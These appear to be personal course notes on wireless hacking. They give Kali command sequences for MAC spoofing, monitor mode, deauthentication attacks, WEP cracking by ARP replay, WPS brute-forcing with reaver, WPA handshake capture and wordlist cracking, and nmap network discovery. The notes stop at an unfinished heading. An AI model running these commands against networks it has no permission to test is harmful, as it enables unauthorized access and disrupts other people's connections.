Ethical Hacking

02 July 2020 20:03

Require Wireless Adapter for Wifi Cracking
(Support Monitor Mode and Packet Injection)

Network+Hacking+-+...

© RAJAT KUMAR
https://www.linkedin.com/in/imRajat/
https://github.com/im-Rajat

What is MAC Address and How to change it :-
Ifconfig : This command lists all the interfaces

MAC Address is a physical address specific to a device
Check MAC Address using ifconfig command in ether section

When in monotor mode Check MAC Address using ifconfig command in unspec section (First 6 between -, replace - with :)

=> How to change MAC Address:- (To change wlan0 MAC Address)

Ifconfig wlan0 down
Ifconfig wlan0 hw ether 00:11:22:33:44:55 (New MAC Address)
Ifconfig wlan0 up

MAC Address will revert back to original when machine will restart

Wireless Modes (Managed and Monitor) :-
Managed mode will capture only those packet which has our destination MAC Address.
Monitor Mode can capture any packet within our range.

Iwconfig : To check mode

=> How to change to Monitor Mode:-

Ifconfig wlan0 down
Airmon-ng check kill
Iwconfig wlan0 mode monitor
Iwconfig wlan0 up

Packet Sniffing Basics :-
(mon0 can be wlan0, or anything)

Airodump-ng mon0

Above command will capture all packets within the range.

To sniff 5GHz band also

Airodump-ng --band a mon0

--band abg (For both 2.4 and 5 GHZ network)

Targeted Packet Sniffing :-
Airodump-ng --bssid 00:11:22:33:44:55 --channel 2 --write test mon0

Deauthentication Attack (Disconnecting any device from the network) : -
Aireplay-ng -deauth 100000000 -a 00:11:22:33:44:55 -c 11:33:55:44:33:33 mon0
-a (network mac address) -c (client mac address)

If above command gives some issue run this command also in other terminal.
Airodump-ng --bssid 00:11:22:33:44:55 --channel 2 mon0

Theory behind Cracking WEP Encryption :-

IV = Initialization Vector is only 24 bit random number
IV + Key (Password) = Key Stream
Each packet is encrypted using unique key stream.

IV is attached in pain text with packet, which makes it easy to crack.

WEP Cracking Basics :-

Capture a large number of packets/IVs using airdump-ng
Analyse the captured IVs and crack the key using aircrack-ng

Airodump-ng --bssid 00:11:22:33:44:55 --channel 1 --write basic_wep mon0
Aircrack-ng basic_wep-01.cap (saved file with captured data)

We require busy network for capture more and more data (airodump command)
The above command will return the key and ascii. Just remove colon from the received key. That's the password for WEP network.

Example : KEY FOUND! [12:12:45:45:12] (ASCII: As23p)

Password = 1212454512

WEP Cracking Face Authentication Attack :-
ARP Request Replay Attack :-
To overcome the problem for generating many packets even when network is not buys.

Airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write arpreplay mon0

To associate with a network we use a program called aireplay-ng
Aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 88:88:88:88:88:88 mon0
-h require mac address of our wireless adapter

Associte with network 2-3 during the whole progress
Aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 88:88:88:88:88:88 mon0

ARP replay attack command :
Aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 88:88:88:88:88:88 mon0

Aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 88:88:88:88:88:88 mon0

Crack the password :
Aircrack-ng arpreplay-01.cap (saved file with captured data)

The above command will return the key and ascii. Just remove colon from the received key. That's the password for WEP network.

Hacking WPA and WPA2 Without a Wordlist :-

Hacking WPS enabled Network:

List out network which use wps using:
Wash --interface mon0

Use program reaver for brute forcing and give us the key:
reaver --bssid 00:11:22:33:44:55 --channel 1 --interface mon0 -vvv --no-associate

Associate manualy with target network after every 30 sec:
Aireplay-ng --fakeauth 30 -a 00:11:22:33:44:55 -h 88:88:88:88:88:88 mon0

The above will crack wps pin as well wpa psk password

Capturing the Handshake :-

Capture and Save packets in a file
Airodump-ng --bssid 00:11:22:33:44:55 --channel 1 --write wpa_handshake mon0

Handshake will be done only when a client connects to a network.
So we can run a deauthentication attack to disconnect a connected client, after we stop the attack
The client will again connect to the network and we can capture the handshake

Aireplay-ng -deauth 4 -a 00:11:22:33:44:55 -c 11:33:55:44:33:33 mon0

Creating a Wordlist :-

Use a tool name crunch to create a wordlist

crunch [min] [max] [character] -t [patter] -o [FileName]

Crunch 6 8 abc12 -o test.txt

If we know password start with a and end with b

Curch 6 6 abc12 -o test.txt -t a@@@@b

Cracking WPA & WPA2 Using a WordList :-

Aircrack-ng wpa_handshake-01.cap -w test.txt

Discovering Devices Connected to the Same Network :-
Using netdiscover

Netdiscover -r 10.0.2.1/24 (It means 10.0.2.0 - 10.0.2.254 all)

Gathering Sensitive Info About Connected Devices (Device Name, Ports....etc) :-
Using nmap and zenmap (GUI version of nmap)

Zenmap (it will open zenmap gui)
Type range as 10.0.2.1/24. It will also show the nmap command. Which we can run on terminal

Gathering More Sensitive Info (Running Services, Operating System....etc) :-